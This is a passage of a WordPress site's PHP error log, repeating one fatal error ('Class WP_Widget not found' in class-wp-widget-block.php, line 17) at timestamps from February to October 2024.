  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[25-Feb-2024 15:50:31 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Mar-2024 12:29:59 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Mar-2024 12:40:09 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[03-Mar-2024 23:48:25 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[13-Mar-2024 09:33:18 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[14-Mar-2024 12:03:44 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[17-Mar-2024 13:43:07 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[17-Mar-2024 13:51:09 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[19-Mar-2024 06:39:14 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[19-Mar-2024 07:06:10 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[22-Mar-2024 13:08:28 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[22-Mar-2024 17:49:02 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[23-Mar-2024 18:14:12 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[23-Mar-2024 22:17:45 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[31-Mar-2024 00:14:38 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Apr-2024 16:29:44 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Apr-2024 20:51:18 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[05-Apr-2024 00:57:55 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[09-Apr-2024 06:56:06 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[10-Apr-2024 04:32:26 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[12-Apr-2024 16:16:43 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[15-Apr-2024 00:15:34 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[20-Apr-2024 04:16:54 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[21-Apr-2024 23:46:53 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[22-Apr-2024 02:46:48 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[22-Apr-2024 15:47:17 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[25-Apr-2024 17:31:55 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[25-Apr-2024 17:51:17 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[26-Apr-2024 17:42:06 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[27-Apr-2024 00:21:47 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[28-Apr-2024 21:32:00 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-May-2024 04:02:43 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[05-May-2024 11:15:35 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[06-May-2024 07:30:18 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[06-May-2024 07:35:50 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[06-May-2024 18:42:26 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[06-May-2024 19:43:25 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[09-May-2024 01:31:32 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[09-May-2024 05:41:31 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[12-May-2024 13:18:35 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[12-May-2024 16:19:44 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[12-May-2024 18:03:05 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[17-May-2024 09:34:09 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[22-May-2024 02:38:50 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[24-May-2024 14:57:48 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[25-May-2024 06:07:56 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[27-May-2024 17:05:29 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[29-May-2024 04:48:30 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[07-Jun-2024 12:57:29 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[08-Jun-2024 15:02:56 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[15-Jun-2024 13:57:53 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[19-Jun-2024 02:39:25 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[22-Jun-2024 04:40:03 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[22-Jun-2024 09:34:46 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[22-Jun-2024 09:48:05 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[24-Jun-2024 02:21:34 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[27-Jun-2024 03:32:30 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[28-Jun-2024 22:38:15 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[03-Jul-2024 10:29:29 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[12-Jul-2024 01:03:38 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[12-Jul-2024 06:34:44 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[15-Jul-2024 04:58:57 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[25-Jul-2024 13:30:18 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[07-Aug-2024 11:46:01 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[11-Aug-2024 03:54:10 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[20-Aug-2024 19:29:44 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[22-Aug-2024 07:03:06 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[27-Aug-2024 02:51:32 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[30-Aug-2024 19:34:46 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[03-Sep-2024 09:03:27 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[03-Sep-2024 19:04:58 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[06-Sep-2024 21:30:23 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[07-Sep-2024 00:43:29 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[10-Sep-2024 21:44:07 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[11-Sep-2024 03:07:54 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[12-Sep-2024 14:01:57 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[17-Sep-2024 01:42:00 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[18-Sep-2024 11:02:47 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[18-Sep-2024 11:22:32 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[18-Sep-2024 14:03:25 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[18-Sep-2024 14:22:05 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[18-Sep-2024 22:57:37 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[18-Sep-2024 23:09:50 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[21-Sep-2024 10:00:44 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[26-Sep-2024 08:35:57 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[26-Sep-2024 15:16:33 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[27-Sep-2024 01:24:49 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[28-Sep-2024 11:39:16 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[28-Sep-2024 20:20:19 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[30-Sep-2024 08:14:48 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Oct-2024 18:52:11 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Oct-2024 19:12:23 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[07-Oct-2024 04:22:28 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[09-Oct-2024 19:50:24 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[09-Oct-2024 22:12:11 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[10-Oct-2024 09:22:08 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[11-Oct-2024 06:58:52 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[18-Oct-2024 09:02:40 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[18-Oct-2024 15:58:07 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
